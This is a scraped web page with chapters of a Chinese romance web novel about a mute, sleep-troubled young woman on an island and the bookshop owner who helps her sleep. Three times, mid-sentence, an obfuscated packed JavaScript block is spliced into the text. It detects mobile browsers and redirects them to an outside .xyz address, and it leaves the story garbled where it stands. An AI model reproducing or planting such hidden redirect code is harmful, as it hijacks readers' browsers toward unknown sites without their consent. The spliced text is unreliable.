“我要摸。”沈淮棠心平气和地说,“你只给看,不给摸,跟那个男的有什么区别?” 江未下意识低头,看一眼自己花里胡哨的沙滩衬衣,下一秒恶狠狠地回神,真是一不留神就着了她的道。 沈淮棠此人,长相清冷,眼瞳漆黑,整个人透出一种无欲无求的岑寂感,怎知一开口就是如此狂言! 到底是怎么说得出这种话的! 可见古话说得好,实在是人不可貌相! 沈淮棠却趁此机会,偷偷摸摸地伸手解开他衬衣最下方的一颗纽扣,却被猛地一拍手背:“动手动脚的!” 她嘟囔一句“真是小□□”,重新往沙滩上一躺,撇过头去不看他了。 他往她身边一坐,拧开饮料瓶盖递过去,沈淮棠半死不活地说:“我不喝了。” 江未好笑,这怎么好像是他犯了错误? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850602|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你这人,忒不老实。”他说,“大老远看到你被搭讪,还以为你遇到骚扰,担心你才着急赶来,怎么还要占我便宜?” “你别跟我说话。”她痛苦地闭上眼,“我现在满脑子都是腹肌,摸不到就吃不下睡不着。” 江未属实是被气笑了,冷哼一声,开始一颗颗解扣子,从最下面的开始。 随着衬衣散开,露出结实的腹肌与胸肌,他抓过沈淮棠的手,往上一按:“来,让你摸个够。” 沈淮棠半点没有害羞的意思,从善如流地开始抚摸,细腻的指腹在他的肌肤上流连,似乎真的是在细细品味着手感。 随着他的呼吸起伏,她柔软的手也顺势揉捻,还主动地把另一只手伸进去。 江未刚才还凶呢,此时耳朵已然红透,在心率过速之前把衣服一搂,将她的手丢了回去,假装正襟危坐:“到此结束。” 沈淮棠很失望:“不是说摸个够吗?” 他咬牙切齿:“你那是摸吗!!” “好吧,我下次注意点。”她回味地咂摸嘴巴,“明天什么时候开始?” 江未眉毛一扬:“我这牺牲也太大了吧?而且治标不治本,找你搭讪的,这些天都第几个了?” “彼此彼此,你有什么资格说我?”沈淮棠毫不在乎江未的酸话,他这么个皮囊,放在哪里都是发光体。 这么斗嘴,她终于笑了笑,不再逗他,拿过饮料抿一口,酸酸甜甜的冰镇果汁慰藉她被太阳晒得有些热气的身体。 “那能一样吗?”江未十分不满,“我也不跟你似的,馋别人身子。” 就在这时,沈淮棠忽然发现刚才的打闹之间,一个小小的黑色片片从他沙滩裤口袋里掉落,。 她伸手拈起一看,是一张相机的储存卡,已经被掰成两半。 “这怎么掉出来了?”江未一摸口袋,低估道,“刚一路走过来没有看见垃圾桶,要不然早丢了。” 沈淮棠打量片刻,耐人寻味地说:“看来刚刚买饮料那么久,是做好事去了。” 江未笑道:“你怎么确认是做好事?我明明损坏别人的私产。” 她说:“那就是那人活该的。” 对于沈淮棠百分百的信任,江未显然很受用,唇角就没下来过。 江未方才买饮料回来,瞥见有个鬼鬼祟祟的男人身影,正举着相机对着单独在沙滩上睡觉的沈淮棠拍来拍去。 他趁着那人拍完准备遁走时,从墙后闪出,一个肘击,便将对方的相机抢到手。 那人暴跳如雷,转头却被冰霜冷面的江未吓了一跳,却还是骂道:“还给我!” 江未平日笑眯眯的,严肃起来倒像个煞神,压迫感极强。他冷笑着翻看相册,简直难以入目,干脆一记拳头将那贼眉鼠眼的男人砸在地上。 男人猝不及防挂了彩,脸涨得通红,赶紧爬起来要抢相机,还大喊着:“抢劫!抢劫!” 江未颔首:“行,我们去警局。” 说着就要拖着他走。 男人显然知道自己没干好事,听到警局瞬间迟疑,死活不肯走,却还是底气不足地重申:“你无权抢占我的东西!” 江未没再跟他废话,直接关机,推出储存卡一个用力就掰断,而后他将相机丢还给他:“再被我看到,就警局见。” 男人终于慌了,抱着相机一溜烟跑了。 江未看着他跑远,这才蹲下身,捡起遗落的一张名片。 反正已经将此事解决,江未就不准备告诉沈淮棠,说了也是添堵。 结果他回来时,正好看见有个健壮的男人在与她搭话,并且她还投来求助的眼神,脑子里瞬间就响起警铃。 好在,这一次是他紧张过度。 见他不愿说,沈淮棠自然也没有追问,只不过,见到储存卡,她也将事情猜了个七七八八。 她垂着眸子暗自笑笑,心想,在不动声色替她解决问题这一点上,就算过了八年,江未也没有变过啊。 20. 人形安眠药 沈淮棠翻看那位摄影师的名片,竟然是正规公司的员工,没想到私底下竟做这种龌龊事。 她有些不解:“为什么不直接报警?” “他是游客,岛上的惩罚对他不会造成太大印象,等我回去,写一封邮件给他们公司说明情况吧,看他这反应,这事儿也不是第一次做了,要查肯定不少把柄,他们国家处理类似事件要严格得多。” 他微顿,又轻声说,“而且,那些照片也没必要再让更多人见到了。” 沈淮棠明白他的意思,不予置评,只将饮料喝尽,瓶子里只剩浅浅一层,她将那储存卡丢进去,彻底淹没。 离开海滩后,沈淮棠开始进行另一件每日必做的事情,即是在梦港岛上各处观光散步。 她思索着,若是能有熟悉的地方,或许能够更快唤醒她的记忆。 其实梦港岛并不大,骑着小电驴一整天就能绕岛一周,不过沈淮棠并不赶时间,只将小岛分割成数块,每日像是探险一般,只去一个地方。 既是散步,江未自告奋勇要做向导,沈淮棠欣然同意,毕竟对于这座岛屿的记忆与他息息相关。 然而江未每到一个地方,说得最多的一句话就是指着某个角落欣然道:“这里,你也睡过。” 沈淮棠觉出不对劲来:“我怎么这也睡过,那也睡过?整个梦港岛就是我的大床,以天为被以地为席?” 江未理直气壮:“我只是在客观描述你以前随地大小睡的不良习惯。” 也就是梦港岛地方不大,且民风淳朴纯良,她这坏习惯才没有导致危险的后果。 然而她总觉得江未话里有话,配上他时不时瞟来的眼神,她似乎悟到其中关键。 沈淮棠一针见血:“江未,我到处睡觉,你得负五成责任吧?” 江未的气焰瞬时矮了半截儿,半晌才狐疑道:“……你到底恢复了多少记忆?能不能给我个准数?” 她一笑:“影响你信口胡说了?” “我可没有胡说。”他振振有词,“这叫在可控范围内适当美化,也就是给自己套个美颜滤镜罢了,又不影响什么。” 经过这些天恢复的记忆来看,曾经的江未不仅容颜出众、性子活泛,而且内核极其稳定—— 除去在书店休息与看书的时候,江未很喜欢在岛上跑来跑去。 在他看来,实在有太多事情可做,比如花漫长的时间去观察一棵树一朵花,一只小虫一条鱼,然后将观察结果整理成绘画文字记录。 他也会定期跟着大船出海观鲸,对于见过数次的鲸群,光是看一眼背鳍就能叫出名字或编号来。 对于这种事情,江未的耐心似幼童般无穷无尽,且永远兴致勃勃,根本无所谓别人对其“浪费时间”等评价。 同样的,他也完全不顾沈淮棠愿不愿意听那些“无聊的事”,每回逮着她就是一通持续而浩荡的输出。 虽然沈淮棠对江未的兴趣点无可无不可,耐心也不足,偶尔还觉得他挺聒噪,但完全没关系,她就愿意每天追在他身后,不管是安安静静还是滔滔不绝,都甘之如饴。 因为江未对她的意义已经完全不同。 第一回在沙滩上,她听着江未比比叨睡着,再醒来时已过傍晚,江未早就走了。 浑厚的夕阳沉入海平面,带走光与热,夜里的冷风一吹,她打了个哆嗦,晕头晕脑地站起身来,天旋地转地往前走,一个没站稳,来了个平地摔,脑袋与胳膊正好磕在水泥地面,淋淋漓漓的血珠滴落成花,触目惊心。 不远处还有上次欺负她不成反被江未教训的坏孩子,见她狼狈,还朝她扔石子儿,喊着侮辱性的话语,大笑着跑掉。 巨大的孤独感袭来,裹挟着她,几乎喘不过气。 她跪坐在原地,静静等待着头晕的劲儿过去。 海风无声地吹起她的发丝。 妈妈。好想妈妈。 妈妈…… 沈淮棠回到公寓后,处理好皮外伤,仍然是觉得昏昏沉沉,应该还是受凉了,夜里就发了烧,吃药再睡去,噩梦层层叠叠,惊醒时浑身都湿透。 这一病,足足一个多星期才见好。 而在这段时间里,沈淮棠陷落挣扎在沼泽般的梦魇中魂亡魄失,如此痛苦唯有经历过睡眠障碍的人才能理解,睡不好觉,精神煎熬好似求生不得求死不能,濒临崩溃。 医生知晓沈淮棠难以入睡的情况,给她开的抗抑郁与幻觉的精神类药物中都有安定成分,让她活性降低,容易嗜睡,然而每一回她吃药后睡觉,都无一例外会做噩梦,睡眠质量极低。受此折磨的沈淮棠直到如今,才终于感同身受地理解曾经作为病人的母亲,为何总是藏药不肯吃。 沈淮棠甚至已经接受这无解的死循环。 忽然之间,她想起在沙滩上的那一觉,深深沉沉,没有做梦,简直是这几个月以来的第一个好觉。心动不如行动,她当即出门,去栖居找江未。 沈淮棠闯进书店时,江未正看书呢,抬眸吓一跳,以为见了哪个土匪。 “你这是?”江未上上下下打量她,少女本就清瘦,这会儿连脸颊都要凹进去,“夜里做超人拯救世界去了?打架打得够狠啊,脑袋都破了。” 她虚弱地摇摇头,拿了纸笔给他写明原因。 江未极为震惊,瞳仁颤动,表情都变化三个层级:“就是上次在沙滩边见到我那天?” 他看向她的眼神似是在看玻璃娃娃,透明易碎,带着三分小心翼翼。 在他的概念里,她已近成年,这么大个人哪里需要操心?既然能选择在外面睡觉,自然心里有数,而且沙滩上阳光照射时间久,那么多人都在沙滩上睡觉呢,问题不大。 这会儿,他甚至都有些后悔了,若他当时没有将她丢下不管,而是叫醒她,指不定就不用受着生病一个星期的罪了。 沈淮棠却还在刷刷写字,然后将本子推至他面前:“我已经一个星期没有睡好了,能不能再对我讲讲话,就像那天在沙滩上一样。” 江未先是一愣,而后觉得好气又好笑,感情把他当睡前故事机器了呗。 但是也没辙,正好卡在他仍有点点愧疚的状态里,于是爽快点了头。 他让她进里屋的沙发上躺着,抱着柔软的抱枕,他拖了把木椅子坐在旁边,然后开始给她科普植物科学。 十分钟后,她的呼吸均匀而绵长,显然已经陷入沉睡。 江未看着她无害的睡颜,心情十分复杂,摇摇头:“……竟然真睡着了。” 至此,江未在沈淮棠心目中的地位,连升数个等级。 在褪去对那层漂亮皮囊的惊艳后,沈淮棠再次发现他的特殊之处——江未浑身散发着疏散安稳的气息,让神经紧绷夜夜难入眠的她痴迷不已,和他在一起时,她感觉时时刻刻焦灼不已高速运转的脑袋竟然能有片刻的放空与停滞。 那种感觉类似于饮酒至微醺,咕噜噜冒着泡泡,正是最舒服放松最好入眠的时刻。 ——现在的他,就是一颗巨大的人形安眠药。 什么浪漫的一见钟情,在这种攸关生死的睡觉大事面前,都得往后排一排。 这样就很好,沈淮棠终于能睡个好觉,而江未好为人师的屁话也有了个去处。 一来二去,她也认识了传闻中的达拉斯。 相比于瘦削 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850603|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的她,红头发红胡子的达拉斯简直是个庞然大物,健硕得像一座山。 然而他却有一颗极为细腻的心,木工活儿做得相当精巧,而且非常喜欢散文诗歌,闲下来的时候,就要捧着诗集朗诵。很有猛虎嗅蔷薇的意味。 最近他爱不释手的一本书,是纪伯伦的《沙与沫》。 他对着夕阳念道:“仅仅在昨天,我认为我自己只是一个碎片,无韵律地在生命的穹苍中颤抖。现在我知道我就是那穹苍,一切生命都是在我里面有韵律地转动的碎片。” 栖居的两位男士,一个赛一个的嘴碎。 沈淮棠听得耳朵起茧,但在相处中,也逐渐更了解江未,自觉他与初见时画中仙的形象相去甚远。有一回,江未给她讲起栖居的历史。 当年,江未的祖母游历到梦港岛,十分喜欢这里的自然环境,以及慢悠悠的生活节奏,于是停留在此,开了一家书店,放上许多她收藏半生的书籍画作等艺术品。 书店的名为栖居。 她一生漂泊,这算是最后停泊的港湾。 在两年前,祖母因病去世,江未按照她的遗愿,将骨灰洒进大海,好让她能继续周游列国。 而书店他没有卖,反而觉得很有纪念意义,便将其改造,里外都重新装修过,也进了许多新书,都是他精挑细选出来的有意思的类别。后来随着梦港岛游客渐多,达拉斯的木雕也卖得不错。 沈淮棠反观自己,料理完母亲的后事以后,她完全无法在家中久呆,江未能做到这地步,于她而言已是壮举。 当然,痛苦无法比较,并没有孰优孰劣。 每个人都有自己的深渊。 只不过让她意外的是如此率真烂漫的江未竟然是个理科生——倒不是说理科生不能率真烂漫,而是江未本人的气质被奶奶熏陶得举手投足都带着恣肆自由的风,让人情不自禁地想,他也该走上艺术的道路,就像别人透过沈如风的成就去看她一样。 “你以为我是学艺术的吗?哎呀,我要想考当然能考上了。” 他笑得很臭屁,连鼻子都皱起来,“可是自然科学也很有意思,哪怕叶公好龙,也有叶公好龙的乐趣,在学校泡实验室泡多了,假期上岛,当然要到处玩玩。” 他拈起一朵海棠,那是专门从岛外给沈淮棠带回来的花朵,为了保持新鲜而浸透水分,哪怕隔了一天,花朵也开得正好,红艳艳的十分鲜亮。 “你看,仅仅是一枝花朵,我们能够用两只眼睛透过它,看到不同的世界。” 沈淮棠垂眸,目光落在柔软的花瓣上。 “左眼看到的,是‘海棠经雨胭脂透’。”他修长的手指轻微一动,细梗旋转,露出花朵的另一面来,“右眼看到的,是花瓣吸收雨水后,细胞液泡膨胀,色素分散,使得其看起来更加饱满鲜艳,甚至能暂时展现出透明的特性。” 多数时候,沈淮棠只是一个沉默的听众。 然而时间久了,她也会被勾起兴致,觉出不少曾经视而不见的意趣。 在此之前,受限于她原来的环境与时代,听得更多的是“实用价值”、“就业前景”以及“钱途重要”,热门的专业多是金融法学医学计算机……江未的言行却带给她新的思考,也有“原来还可以这样”的感叹。 以及她重新体会到幼年时期对花鸟鱼虫单纯的好奇心,愿意同江未一起,专一沉浸地等待夜晚的昙花一现。 ——也就是在这时,她想起达拉斯念的诗句。 “我就是那苍穹,一切生命都是在我里面有韵律地转动的碎片。” ……那些陆离斑驳的碎片,在她的眼中,逐渐拼凑出完整的另一个世界。 21. 疯疯的东方人 为了江未这颗巨型安眠药,沈淮棠往栖居跑的次数越来越多,也渐渐习惯与他长时间待在一起。 她甚至已经试验出最佳睡眠方式:先吃药,再听江未讲话,就能顺利入睡。 江未一开始也没想到这是个长期活儿,每次看道她在他的声音里睡得那叫一个迅速和香甜,他还是能感受到淡淡的绝望。 他讲的东西有那么无聊吗? 还是说,他是真的天赋异禀,简直是天生的能量疗愈师。 不过,救人一命胜造七级浮屠,他也不忍心看着沈淮棠痛苦难忍,况且她乖巧得很,不声不响不作不闹。 就是有的时候怪里怪气。 比如某一日,他正在画速写,她抱着本书窝在沙发上翻阅。 忽然间,她抬起眼眸,对着他身后一处角落歪着脑袋看了许久,然后摇摇头,嘴巴微微翕动,无声地说了什么。 江未好奇地回头,又毛骨悚然地转回来——角落里分明空空如也。 他摸摸手臂上的鸡皮疙瘩,五官都纠结成一团:“别总是这样啊!你到底在跟谁说话?很吓人啊。” 沈淮棠的目光在他面孔停留一瞬,又看回去,似乎是在征求“那位”的意见。 如此诡异的场景持续未久,她用纸笔写道:“我在和蛇三说话。” “蛇三?”江未疑惑,“这是谁?” 她继续写:“只有我才能看见的异兽。” 听到这里他终于来了兴趣:“是怎样的异兽?像哥斯拉?” 沈淮棠摇头:“三只巨型蛇头,像马一样的身体四肢,背上长了一双大翅膀,脊背蜿蜒下来是带着鳞片的长长蛇尾。” 江未在脑子里同步想象着,忍不住唰唰几下,在白纸上画出了蛇三的雏形,递给沈淮棠:“是这样吗?” 沈淮棠看一眼,摇头:“比例不对。” 她干脆接过他手里的铅笔,开始在画纸上修改—— 蛇口还要大一些,尖利的牙齿朝向咽喉,每个头骨与胸椎之间,大约有十几节颈椎,从肩胛骨背伸出翅膀的肱骨和桡骨尺骨,都覆满铁灰色的羽毛…… 四肢的股骨胫骨趾骨,以及尾椎后面的鳞尾,其实和普通蛇的脊椎骨都差不多,长长一条,可以将猎物卷起来。 随着沈淮棠将蛇三的骨架位置定好,又寥寥画了几笔肌肉走势,异兽的整个形象都丰满起来。 甚至三只蛇头还各有不同,一只大张着嘴,一只闭着眼,还有一只吐着信子,眼神危险。 区别于江未想的卡通版异兽,她所画出来的更像是3D现实版,更显得诡谲奇异。 江未挑眉:“这是蛇三?” 沈淮棠指着张大嘴的蛇头,写下“这是蛇三”四个字。 江未悟了:“那是蛇一和蛇二?” “是张道明和Jupiter。”她写道,“它们不常说话,蛇三比较亲和。” 江未:…… 江未:“挺好,有名有姓的。” 或许是江未对于此事并未表现出鄙夷的态度,沈淮棠感到被尊重,因此除了蛇三以外,她还介绍了另外三位异兽,名字分别是牛头人、鼠猫狗和羽鲛人。 江未看罢她给异兽的写生,算是明白了,这就是把现有的各种动物的不同部位进行随机拼组。 ……由此可见她大脑的混乱。 然而,这些拼组又有一定的逻辑和规律,让异兽看上去和他所熟悉的普通动物极为相似,细究又全然不同,从而产生怪异的恐怖与被威胁感。 他们的交流到这里,江未已经意识到沈淮棠的精神状态遥遥领先。 然而他又觉得很有意思,谁能想到这样一个平静瘦削的女孩子,身后竟然跟着一群千奇百怪的庞然大物——蛇三光是一个头就有卡车巨轮那么大。 她谈起它们时,眼里的光芒熠熠生辉,显然与异兽感情很好。 江未不忍心打断她的热情,也不想判断她所见的真假,那是医生要做的事情。 于是他继续问道:“你随时都能看到它们吗?” 沈淮棠摇头。 他好奇:“异兽出没也分时间段吗?” 她闻言忽而一笑,轻快地写落:“在医院治疗的时候,以及平时吃药以后,就看不到了。” 江未看完,微微一愣。 她知道这是病症。 他下意识看一眼时钟,快要到她平日里吃药的时间了。 沈淮棠熟门熟路地拿出准备好的药丸子,喝水送服,没到一刻钟就开始打瞌睡,而后就在沙发上安详地昏迷了。 倒是江未,一时有些难忍。 他凝视少女轻轻呼吸的侧颜,又翻翻方才她的画作,陷入长久的沉默。 由于江未这味药“见效快疗效好”,在一定程度上改善沈淮棠的睡眠情况,她对他很有些感激之情。 她报答的方式,就是给他分享好吃的。 云姨为了她的身体营养,专门请了很会做饭的保姆来照顾她的日常,若是做了中餐,她就会叫他来一起吃。 毕竟比起华国,甚至仅仅是鹤城,岛上简直是美食荒漠,连达拉斯煮的蘑菇汤都能冲进全岛美味TOP3。 而有一回,江未迟到许久,进门时满脸挂彩,却又神采飞扬。 沈淮棠很是疑惑,不大明白他受了伤怎么还这么高兴。她伸手去摸他的脸,他下意识地躲开,低声说:“没事。” 但她还是轻轻碰了下,一双眼睛好似会说话:“疼吗?” 他闷声闷气:“不疼,真不疼。” 沈淮棠翻出医药箱,给他上药。 她靠得很近,神情专注,手法娴熟。 空气中充满药水味儿,还有她身上淡淡的干净的气味,混杂着花草馨香。 他垂眸凝视她长长的睫毛与白净细瘦的锁骨,半晌仓皇地转开头去。 江未在来的路上,偶然遇到那些欺负沈淮棠的坏孩子,正在商量着下回整治小哑巴的主意。 他这才知道,原来他们从来都没放过沈淮棠,时不时就要欺负她一回。 于是江未想也没想地扑上去,盘算着一次性将这破事儿解决。 他平时瞧着懒洋洋,打起架却有种不要命的疯劲儿,逮着为首的男生,用尽全力将拳头砸在那人脸上。 缠斗着,江未将他死死按在水泥地上,膝盖抵在脊背,制住他的挣扎,不知从何处抽出一把小刀,抵在他的脖颈间。 锐利的刀锋割开一层油皮,血腥味满溢出来,另外两个当即停了手。 那人本来还在发狠,一瞧见江未癫狂锐利的眼神,顿时怕了,直接将手举起来表示投降。 江未握着小刀的手又重了三两分力气,漂亮的眼里像是淬了冷焰火:“再让我看到你们找小哑巴麻烦,这就是后果。” 坏孩子们逃跑时,回头看他的眼神,好似在看一个疯子。 此时,江未想了又想,还是决定不将这事儿告诉沈淮棠,省得给她添麻烦。 然而沈淮棠也不是个傻子,见他脸庞身子上的伤痕,心里也猜到七八分。 那些青少年正是不分善恶的年纪,天真而残忍,做的事情伤害不大但侮辱性极强,她一直懒得当回事儿,没有精神与心力去处理他们。 或许就是这样,他们才觉得她好欺负,甚至找曾经替她出头的江未麻烦去。 沈淮棠默不作声地替他处理好伤口,眼眸却渐渐冷漠。 当天夜里,青少年三人组在地下酒吧喝了不少酒,半醉时才往他们的基地,也就是个破旧车库走去。 怎知走着走着,他们忽然被拉直的绳子绊了一跤,兜头就是一个巨大的麻布,紧接着是紧锣密鼓如同雨点般的棍棒教育。 他们吃痛,嗷嗷叫着挣扎,不知为何却束缚得越紧,在海岛上生活久了,后知后觉地意识到麻布里是渔网。 此时,麻布被掀开,三人已经被绑在一起,一桶冷水浇下来,他们清醒过来,意外发现那罪魁祸首……竟然是那个哑巴。 沈淮棠面容冷肃,手拿一根在他们破旧车库里捡的棒球棍,笔直地对准他的双腿之间。 为首者尖叫着骂了一声,声音高了三个度,拼命往后缩,生怕沈淮棠一个挥棒就将他鸡飞蛋打。 沈淮棠见状冷笑一声,拿出本子,刷刷地写字,潦草的笔迹让他们辨认许久:“你们若是再找栖居老板的麻烦,这就是后果。” 他们看完,面面相觑,一时没有作声。 这话有点耳熟啊。 沈淮棠点起打火机将纸张烧掉,又写道:“如果你们不想听我讲道理,那我也略通一些拳脚。” 她冷冷地盯着他们。 幼时学空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850604|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手道仅仅是为了防身,后来倒是对母亲用得最多,要制服一个发疯的成年女人,比想象的要难。 换句话来说,她知道如何让一个人在最短时间内失去反抗能力。 青少年们神色各异,细细品了品身体状况,从内到外都疼痛不已……甚至还有奇怪的腹痛,就像是…… “肚子疼?”沈淮棠冷笑,一本正经地写道,“我已经给你们下了古华国毒药,将会每天腹痛不已。” 孩子们大惊失色,十几岁且不怎么学习的阅历再加上对远古华国传说的警惕,让他们一时之间无法辨别她到底是真的下药还是在忽悠人,毕竟她的神色肃穆得近乎凝重,不像是在开玩笑。 在青少年的连连答应之下,沈淮棠利索地转身离去,头也没回,当然也并没有帮他们解绑。 挣扎之间,腹痛越来越明显。 巨大的恐惧笼罩在他们的心里,直到连着拉了三天的肚子,他们才反应过来,那古华国毒药,可能只是泻药。 不过从那以后,他们再次遇到这两位,直接就绕道走了,惹不起还躲不起吗? 倒不是真怕了这两个东方人,而是觉得他们有病,脑瓜子疯疯的。为了对方在同一天整他们两次,也不知道是什么莫名其妙的小情趣。 江未见状,琢磨着有点奇怪呢,都准备好被报复了,怎么这仨乖得有点过头了。 沈淮棠也不知他的心情变化,解决心腹大患后,还是有些担心江未的安危,因此这些天尤其粘着他。 除去在医院和公寓的时间段,基本上是他走到哪儿,她跟到哪儿。 然而,她的精神体力实在支撑不住满岛到处跑,吃过药后更是浑浑噩噩,偶尔实在受不住,就开始随地大小睡。 不管是沙滩上,还是花坛边,或是路边的长椅,整个梦港岛就是她的大床,以天为被以地为席,提前适应流浪生活。 沈淮棠睡得很放心,自信于江未离开的时候肯定会把她叫醒。 但她没想到,有时候药效太强,江未根本叫不醒她,睁眼两秒又闭上,眼皮的咬合力堪比成年棕熊。 江未实在没办法,也不可能把她一个人丢在外面,于是只能认命地将她背起来。 夕阳将他们的影子拉得很长,江未将略微滑落的沈淮棠往背上送送,偏头就能看到她长长的睫毛与小巧精致的鼻梁。 面对毫无防备心的睡颜,他无奈叹气。 他们认识的时间不长,也不知怎的,她对谁都冷冰冰,唯独对他这般信任,莫名带了一丝非他不可的意味。 得此殊荣,他也不好意思甩掉这病弱的小尾巴。 江未情不自禁开始自我反思——某种程度上来,沈淮棠随地大小睡的恶习,确实是他纵容养成的。 睡梦中的沈淮棠忽而皱皱眉,轻微嘟囔着什么,往他脖颈间蹭了蹭。 那里有伤口,江未感到轻微的疼痛,但更多的是肌肤相触时的细腻温热,简直像抚摸最柔软的花瓣。 江未脚步都放慢了,再次下意识偏头看她,下颌却触到她光洁的额头。 就在这瞬间,他嗅到她身上的浅香。 区别于任何香水香氛的少女身体自带的朦胧香味。 他着迷似的浅嗅,脸颊再次蹭蹭她的额头,反应过来时脚步一滞,耳朵顿时开始燃烧,胸腔里心脏砰砰直跳的声音排山倒海而来。 胡思乱想间,江未终于后知后觉地意识到,小哑巴犯困的原因,好像跟他讲的东西关联不大,而是跟他这个人有关。 在他身边,她似乎就是能睡得好些。 为什么呢? 思索许久这个问题的江未,某日终于在网络上闲逛时找到了答案。 他在栖居心急火燎地等待着,直到沈淮棠推门从店外走进来,他眼前一亮,眉飞色舞地打招呼:“小哑巴来了!” 沈淮棠点头,莫名其妙地看着他过于热情的眼神,然后钻进里屋,蜷缩至沙发上开始翻她那本借来的《秘密花园》。 江未亦步亦趋地跟在她身后,抱着胳膊倚靠在门边,给了她一个千言万语尽在不言中的眼神,脸上的表情很微妙。 他说:“我都知道了。” 她茫然地与他对视,不知他作什么妖。 江未的眼眸熠熠生辉,漂亮夺目,声音亦是悠扬:“我知道了,你喜欢我。” 22. 失控的后果 沈淮棠眼睫微颤,心脏微微一动。 江未仍是那副矜贵傲气的模样,沾沾自喜地说:“哎呀,喜欢我是一件很正常的事情,毕竟我英俊潇洒风流儒雅……你不承认也没事,我都理解,理解。” 她仍沉默,面无表情凝视他。 第一次庆幸自己是个哑巴,否则在这种情况下,还真不知道该说什么。 不承认喜欢,好似不大坦诚,不管是对他亦或是对自己。 可承认喜欢?那感情似乎太浅薄,像是朦胧的好感,仅仅是基于他漂亮的外表与舒心的气质…… 虽然他现在这表情,实在太欠揍了。 但整体而言一如江未所说,他确实是个很不错的人,喜欢他是一件很正常的事。 “啧,真不承认啊?” 江未打趣似地凑近沈淮棠,整张脸在她眼前放大,唇角绽放肆意的笑容,“你知道吗?你喜欢我,所以才见我就困。” 他的语气极为笃定:“心理学家说,跟生理性喜欢的人待在一起,会觉得很有安全感,很放松,可以缓解焦虑与压力,所以才容易入睡,也容易获得高质量睡眠。” 生理性喜欢? 沈淮棠头一回听到这词儿,有些疑惑。 江未拿出手机,给她念网上看来的字句:“如果你对一个人生理性喜欢,就会控制不住的靠近,忍不住想要闻对方身上的气味,想要触碰对方的肌肤,激发最原始的欲望,满眼都是对方,身体比大脑更清楚,因为这是基因的选择。” 他念着念着,不知想起什么,耳朵尖尖倒是红透了,更衬得那颗红痣鲜艳得很。 然而他一抬头,却对上沈淮棠茫然而正直的眼神……她百思不得其解,自己碰过他吗?好像没有吧?这试也没试过的事情,哪里说得准呢? 江未等了半晌,确信自己真是媚眼抛给瞎子看,想要瞪她,却又难以与她对视,只能恶声恶气地嚷嚷:“算了!跟你讲不清楚,反正你喜欢我!知道了吗?” 沈淮棠:? 莫名其妙,男人心海底捞。 江未羞赧得快爆炸,气急败坏地跑出栖居,而站在门口念诗的达拉斯对他的上蹿下跳早就习以为常,仍然沉浸在自己的世界里,声情并茂地朗诵道: “爱,始于自我欺骗,终于欺骗他人,这就是所谓的浪漫。” 沈淮棠在梦港岛的日子逐渐走上正轨后,江未的假期结束,回学校上课去了。 达拉斯上午都会在栖居,沈淮棠照常在下午结束治疗后,去栖居接班,给江未看店——顺带罩着他的外套睡个午觉。 江未身在曹营心在汉,废话没人听很郁结,又时刻牵挂着小哑巴又该做噩梦了——他也不想的,但小哑巴真的非他不可,真是没办法。 一旦有时间,他就急吼吼地跑回来,只要推开栖居的门,就能看到沈淮棠蜷缩在沙发上的模样。 细碎的光流淌过她漆黑的眼睫,她呼吸浅浅,却拢住他所有的欲言又止。 江未的心忽然就静下来了。 直到她再次醒来,他才再次喜上眉梢,快乐地同她分享一大堆新鲜的岛外见闻。 有一回,江未回梦港岛时,没在栖居里见到沈淮棠,问了达拉斯,才知道她去了医院社区里筹办的集市。 这里卖东西的大多是精神疾病患者及其家属,当然也有医护人员辅助。 江未踩着单车风风火火地刮来,肩负夕阳般灿烂,脸上带着漂亮而傻气的笑。 沈淮棠正在帮忙打果汁售卖,心情尚佳,见到江未还有些惊讶,似乎没想到这次他回得那么早。 还没来得及打招呼,神采奕奕的江未便从身后抽出一束花朵,献宝似的递上前:“小哑巴你看,绿玫瑰!见过没有?” 那是一束白绿渐变的厄瓜多尔玫瑰,名为莫吉托,花瓣是清透的绿色,花心却是奶白色,看上去漂亮极了。 然而沈淮棠观赏片刻,刷刷刷写上几个大字:“卷心菜!” 江未哈哈大笑:“我就知道。” 沈淮棠接过莫吉托,脸埋进花朵里,闻到幽幽的馥郁香气。 他们肩并肩走下山坡,江未推着自行车,滔滔不绝地讲着这段时间发生的事情,她也一如既往认真听着。 某种程度来说,江未的确是沈淮棠获取外界信息的途径之一。 因为她在上岛后就没有用过手机电脑等电子设备,主治医师也赞成她这个行为,外界良莠不齐的信息容易扰乱她的心绪。 而有关于沈淮棠生活中的一切,保姆都会每日汇报给云姨,云姨每个月也会来看她一两次,所以家人也较为放心。 梦港岛的生活节奏本就缓慢,她逐渐适应后,更是觉得电子设备无关紧要,用不用都差不太多,心态倒还不错。 